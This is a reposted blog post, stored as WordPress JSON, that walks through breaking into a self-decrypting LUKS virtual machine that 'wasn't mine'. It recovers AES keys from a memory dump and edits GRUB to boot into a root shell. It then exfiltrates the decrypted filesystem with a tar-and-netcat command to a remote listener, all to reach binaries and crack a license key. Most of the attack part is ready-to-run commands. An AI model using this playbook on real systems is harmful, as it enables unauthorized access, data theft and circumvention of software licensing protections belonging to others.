{"id":2047,"date":"2025-02-06T11:40:11","date_gmt":"2025-02-06T11:40:11","guid":{"rendered":"https:\/\/cybersecurityinfocus.com\/?p=2047"},"modified":"2025-02-06T11:40:11","modified_gmt":"2025-02-06T11:40:11","slug":"grub-luks-bypass-and-dump-2","status":"publish","type":"post","link":"https:\/\/cybersecurityinfocus.com\/?p=2047","title":{"rendered":"GRUB LUKS Bypass and Dump"},"content":{"rendered":"

Recently, I needed to get the data off of a LUKS encrypted partition on a Virtual Machine that \u201cwasn\u2019t mine\u201d and I\u2019d never done it before. You can probably guess what happened next.<\/p>\n

As a preface, if you\u2019ve landed on this blog and are thinking to yourself _\u201dFinally, someone will tell me how to recover the LUKS key for my non-bootable system!<\/p>\n

\u2026I have bad news. This blog is not for you.<\/p>\n

For \u201creasons\u201d, some VM\u2019s may land in your lap that automatically decrypt the LUKS partitions. This may be for compliance reasons or meant to create a headache for those trying to peek intellectual property or whatever.<\/p>\n

But if the system boots and automatically decrypts the LUKS partition, this blog is about that type of system. As follows is basically my notes in case I should ever need to do this again. These problem sets present in various different forms.<\/p>\n

Spoilers: I will, I encounter this problem like 1-2 times a year.<\/p>\n

Prior Work<\/h1>\n

For personal projects, I like using VirtualBox. The VirtualBox tooling allows to mount a disk image file in read\/write mode with the following commands.<\/p>\n

# Create mount point
\nsudo mkdir -p \/tmp\/vm
\n# Mount disk image
\nsudo vboximg-mount –rw -i absolute_path_to_disk_image\/disk1.vdi -o allow_other \/tmp\/vm
\n# List the size of the volume (you will need this later)
\nsudo blockdev –getsz \/tmp\/vm\/vol1
\n# Disk volumes appear under mount point list their info
\ncryptsetup luksDump \/tmp\/vm\/vol1<\/p>\n

The last command will produce output similar to:<\/p>\n

LUKS header information for \/tmp\/vm\/vol1<\/p>\n

Version: \t1
\nCipher name: \taes
\nCipher mode: \tcbc-essiv:sha256
\nHash spec: \tsha256
\nPayload offset:\t4096
\nMK bits: \t256
\nMK digest: \tc2 7a 99 b3 64 63 9f 01 78 0a 78 46 75 ea 6a 35 d3 62 cf ea
\nMK salt: \tbe 8b d0 f6 5b 08 04 d5 24 e9 94 a7 fe 4d ca 1a
\n \td5 21 ad 94 c7 19 8c ff 16 29 76 f0 cb 7f 0d 99
\nMK iterations: \t257762
\nUUID: \te3353b4b-85fa-422c-bbbb-35d63cb3d7e7<\/p>\n

Key Slot 0: DISABLED
\nKey Slot 1: ENABLED
\n\tIterations: \t4032984
\n\tSalt: \t73 63 bb 16 04 13 30 41 a8 a6 94 cc ad 15 c8 f3
\n\t \t70 9b cb 57 68 42 41 d0 20 58 b1 a2 a6 10 6e 60
\n\tKey material offset:\t264
\n\tAF stripes: \t4000
\nKey Slot 2: DISABLED
\nKey Slot 3: DISABLED
\nKey Slot 4: DISABLED
\nKey Slot 5: DISABLED
\nKey Slot 6: DISABLED
\nKey Slot 7: DISABLED<\/p>\n

At this point, unmount the disk image<\/p>\n

sudo umount \/tmp\/vm<\/p>\n

Boot the VM, and it should take a\u00a0long time<\/em>\u00a0to boot. This generally means it\u2019s decrypting the disk. This also means the LUKS key is likely stored in memory somewhere.<\/p>\n

During the long decryption process, dump all of the memory of the running VM to a file.<\/p>\n

VBoxManage debugvm “NameOfTargetVM” dumpvmcore –filename=rawdump.raw<\/p>\n

This will produce a file\u00a0rawdump.raw<\/p>\n

Recovering keys from memory dump<\/h1>\n

Using\u00a0https:\/\/sourceforge.net\/projects\/findaes\/<\/a><\/p>\n

.\/findaes rawdump.raw<\/p>\n

This will take a bit, but will find all identified AES-256 key schedules in the memory dump and output similar to:<\/p>\n

Found AES-256 key schedule at offset 0x3ad9982f4:
\n00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
\nFound AES-256 key schedule at offset 0x3ad9985b4:
\nf7 91 88 83 ee e3 3f 0e cc 70 c5 4a 3e 64 84 ef 9d 22 b3 38 90 95 74 15 80 3c 30 53 a5 65 52 4a
\nFound AES-256 key schedule at offset 0x3af9ae224:
\n00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
\n(…)<\/p>\n

Yada Yada, look for key schedules that are contiguous in memory and try them.<\/p>\n

After re-mounting the disk image to\u00a0\/tmp\/vm\u00a0using commands above, fill in the volume size (from\u00a0blockdev\u00a0command above), cipher name\/mode\/hash, and payload offset in the command below:<\/p>\n

echo “0 44472320 crypt aes-cbc-essiv:sha256 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f 0 \/tmp\/vm\/vol1 4096”
\n| sudo dmsetup create luks-volume<\/p>\n

This will create dmcrypt devices to access the device at\u00a0\/dev\/mapper\/<whatever><\/p>\n

And then fail and get frustrated at all of the opaque errors that come with full disk encryption.<\/p>\n

TODO: just automate this entire process with bruteforce i swear to god read the docs\u00a0https:\/\/gitlab.com\/cryptsetup\/cryptsetup\/tree\/master\/docs<\/a><\/p>\n

Alternative Solutions<\/h1>\n

Okay, well, the VM boots. The disk is decrypted. But the VM boots into a restricted shell where I can\u2019t access anything useful (need a license key etc\u2026 but can\u2019t crack the license until I can access the binaries).<\/p>\n

We control the boot order and params, let\u2019s use that.<\/p>\n

Re-Mount the VMDK disk image.<\/p>\n

sudo vboximg-mount –rw -i absolute_path_to_disk_image\/disk1.vdi -o allow_other \/tmp\/vm<\/p>\n

The volume we want to get into is\u00a0\/tmp\/vm\/vol1. However, the system needs to boot from somewhere that\u2019s not encrypted, check\u00a0\/tmp\/vm\/vol0\u00a0for a grub configuration.<\/p>\n

Sure enough, it\u2019s at:<\/p>\n

\/tmp\/vm\/vol0\/boot\/grub\/grub.cfg<\/p>\n

We comment out the line for the kernel and replace it with our own\u00a0rdinit\u00a0that will drop us into a shell.<\/p>\n

menuentry ‘redacted’ {
\n set root='(crypto0)’
\n cryptomount (hd0,msdos2)
\n #linux \/vmlinuz root=\/mnt\/os
\n linux \/vmlinuz rdinit=\/bin\/sh
\n initrd \/initrd.img
\n}<\/p>\n

We can see above that GRUB typically boots and changes the root to\u00a0\/mnt\/os. This is the encrypted filesystem we want.<\/p>\n

Make the changes. Unmount\u00a0\/tmp\/vm. Boot the VM.<\/p>\n

Back to basics<\/h1>\n

Booting the VM drops us into a busybox shell.<\/p>\n

Now, nothing has really happened yet. But at least we have a shell. We now need to trigger \u201cwhatever\u201d part of the boot process automatically mounts and decrypts the volume.<\/p>\n

In my case, it\u2019s the\u00a0init\u00a0binary in the root of the filesystem.<\/p>\n

Running:<\/p>\n

.\/init<\/p>\n

Does the magic, drops us into the\u00a0initramfs, and the encrypted disk is mounted at\u00a0\/mnt\/os.<\/p>\n

Now we need a way to get data out of the VM. Commonly networking is configured using init scripts. Source the init functions and trigger networking configuration. In most cases this will result in the VM obtaining a DHCP least where it now has networking.<\/p>\n

. \/script\/functions
\nconfigure_networking<\/p>\n

At this point, we have networking and we\u2019re root in an initramfs. If we change out roor to the\u00a0\/mnt\/os\u00a0like the GRUB config originally wanted we\u2019ll keep our networking and also have access to the common tools we like to use for data exfiltration, such as\u00a0nc.<\/p>\n

chroot \/mnt\/os \/bin\/sh<\/p>\n

Exfil<\/h1>\n

A coworker showed me this a while back (Thanks Ron!) and it only requires network access,\u00a0nc, and\u00a0tar.<\/p>\n

On a machine you want to exfil data to set up a listener:<\/p>\n

nc -v -l -p 4444 | tar -xvv<\/p>\n

Then, in the VM specify the directory you want exported.<\/p>\n

tar -cvv \/usr | nc 192.168.8.244 4444<\/p>\n

At the end, you have a fully exfil\u2019d LUKS encrypted filesystem. Reverse engineer the binaries. Crack the license key. Draw the rest of the owl.<\/p>\n

credit: remyhax <\/p>\n

\u2764\ufe0f If you liked the article,\u00a0like and subscribe<\/strong>\u00a0to my channel\u00a0\u201cCodelivly<\/a>\u201d.<\/strong><\/p>\n

\ud83d\udc4d If you have any questions or if I would like to discuss the described hacking tools in more detail, then\u00a0write in the comments<\/strong>. Your opinion is very important to me!<\/p>","protected":false},"excerpt":{"rendered":"

Recently, I needed to get the data off of a LUKS encrypted partition on a Virtual Machine that \u201cwasn\u2019t mine\u201d and I\u2019d never done it before. You can probably guess what happened next. As a preface, if you\u2019ve landed on this blog and are thinking to yourself _\u201dFinally, someone will tell me how to recover […]<\/p>\n","protected":false},"author":0,"featured_media":1803,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2047","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/2047"}],"collection":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2047"}],"version-history":[{"count":0,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/2047\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/media\/1803"}],"wp:attachment":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2047"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2047"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2047"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}